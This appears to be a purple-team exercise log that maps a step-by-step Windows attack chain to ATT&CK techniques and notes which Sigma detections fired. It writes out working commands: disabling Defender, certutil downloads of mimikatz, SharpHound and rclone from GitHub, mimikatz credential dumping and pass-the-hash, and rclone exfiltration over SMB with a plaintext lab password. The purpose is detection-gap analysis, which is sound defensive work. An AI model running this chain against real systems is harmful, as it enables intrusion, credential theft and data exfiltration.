Part 1

Step	Action	ATT&CK Techniques	Blue Verification
1	`xfreerdp /u:PurpleUser /p:SecurePwd123 /v:10.0.1.15 /cert-ignore`	T1021.001, T1078	is T1078 but we don't have detections on incoming RDP connections
2	`whoami /all systeminfo`	T1033, T1082, T1059.001 (PowerShell T1059.001 will not be mentioned after that every time it is used)	We have three different data sources we could use. Currently we have no "recon" detections which cover whoami
3	`quser`	T1033, T1082	Same as 1.3
4	`net localgroup administrators`	T1069.001	Proc_creation_win_net_groups_and_accounts_recon.yml Detection is tagged as T1087.001 and T1087.002
5	`Get-Process | Select -Unique ProcessName`	T1057	No detection
6	`Get-MpComputerStatus`	?	No detection

7	`Set-MpPreference -DisableRealtimeMonitoring 1`
	`Set-MpPreference -DisableBehaviorMonitoring 1`
	`Set-MpPreference -DisableScriptScanning 1`
	`Set-MpPreference -DisableBlockAtFirstSeen 1`
		T1562.001	Win_defender_real_time_protection_disabled.yml
			
			Win_defender_suspicious_features_tampering.yml
			
			But probably the second detection does not detect all actions

8	`certutil -urlcache -f https://github.com/MihhailSokolov/SecTools/raw/main/mimikatz.exe C:\Temp\m.exe`	T1105	Proc_creation_win_certutil_download.yml Detects it but ATT&CK technique is T1027: Obfuscated Files or Information Net_connection_win_certutil_initiated_connection.yml Detects it Sysmon produces multiple events for a single download and that triggers multiple alerts

9	`C:\temp\m.exe`
	`privilege::debug`
	`sekurlsa::logonpasswords`
		T1003.001	file_event_win_hktl_mimikatz_files.yml
			sysmon_mimikatz_detection_lsass.yml
			win_alert_mimikatz_keywords.yml
			
			In place but don't trigger
			
			1: that's not what we emulated
			2: could trigger, index=win lsass AND (0x1410 OR 0x1010 OR 0x410) shows data
			3: could trigger but did not, index=win sekurlsa shows no data, may need to adjust logging/auditing or due to running the cms in the mimikatz prompt

10	`[ITSERVER:mimikatz] sekurlsa::pth /user:billh /ntlm:<NTLM-hash> /domain:attackrange /run:powershell`	T1550.002	file_event_win_hktl_mimikatz_files.yml sysmon_mimikatz_detection_lsass.yml win_alert_mimikatz_keywords.yml In place but don't trigger 1: that's not what we emulated 2: could trigger, index=win lsass AND (0x1410 OR 0x1010 OR 0x410) shows no data 3: could trigger but did not, index=win sekurlsa shows no data, may need to adjust logging/auditing or due to running the cmd in the mimikatz prompt
11	`certutil -urlcache -f https://github.com/MihhailSokolov/SecTools/raw/main/SharpHound.exe C:\Temp\sh.exe`	T1105	Proc_creation_win_certutil_download.yml Detects it but ATT&CK technique is T1027: Obfuscated Files or Information Net_connection_win_certutil_initiated_connection.yml Detects it Sysmon produces multiple events for a single download and that triggers multiple alerts
12	`C:\temp\sh.exe --memcache --zipfilename c.zip --outputdirectory C:\temp\`	T1087.001, T1087.002, T1560, T1059.001, T1482, T1615, T1106, T1201, T1069.001, T1069.002, T1018, T1033	Proc_creation_win_hktl_bloodhound_sharphound.yml Detects T1059.001, T1069.001, T1069.002, T1482, T1087.002, T1087.001 Techniques not detected according to detection specification T1560, T1615, T1106, T1201, T1069.002, T1033, T1018

13	`certutil -urlcache -f https://github.com/MihhailSokolov/SecTools/raw/main/rclone.exe C:\Temp\r.exe`	T1105	Proc_creation_win_certutil_download.yml Detects it but ATT&CK technique is T1027: Obfuscated Files or Information Net_connection_win_certutil_initiated_connection.yml Detects it Sysmon produces multiple events for a single download and that triggers multiple alerts

14	`[ss]`
	`type = smb`
	`host = 10.0.1.30`
	`user = user`
	`pass = KN_sSidIRaFo_cmcZ_YNa5o8SLfyli8`
		?	No detection

15	`C:\Temp\r.exe --config C:\Temp\r.conf copy C:\Temp\<c.zip-filename> ss:data --no-check-dest`	T1048	proc_creation_win_pua_rclone_execution.yml Detects but as T1567.002: Exfiltration Over Web Service: Exfiltration to Cloud Storage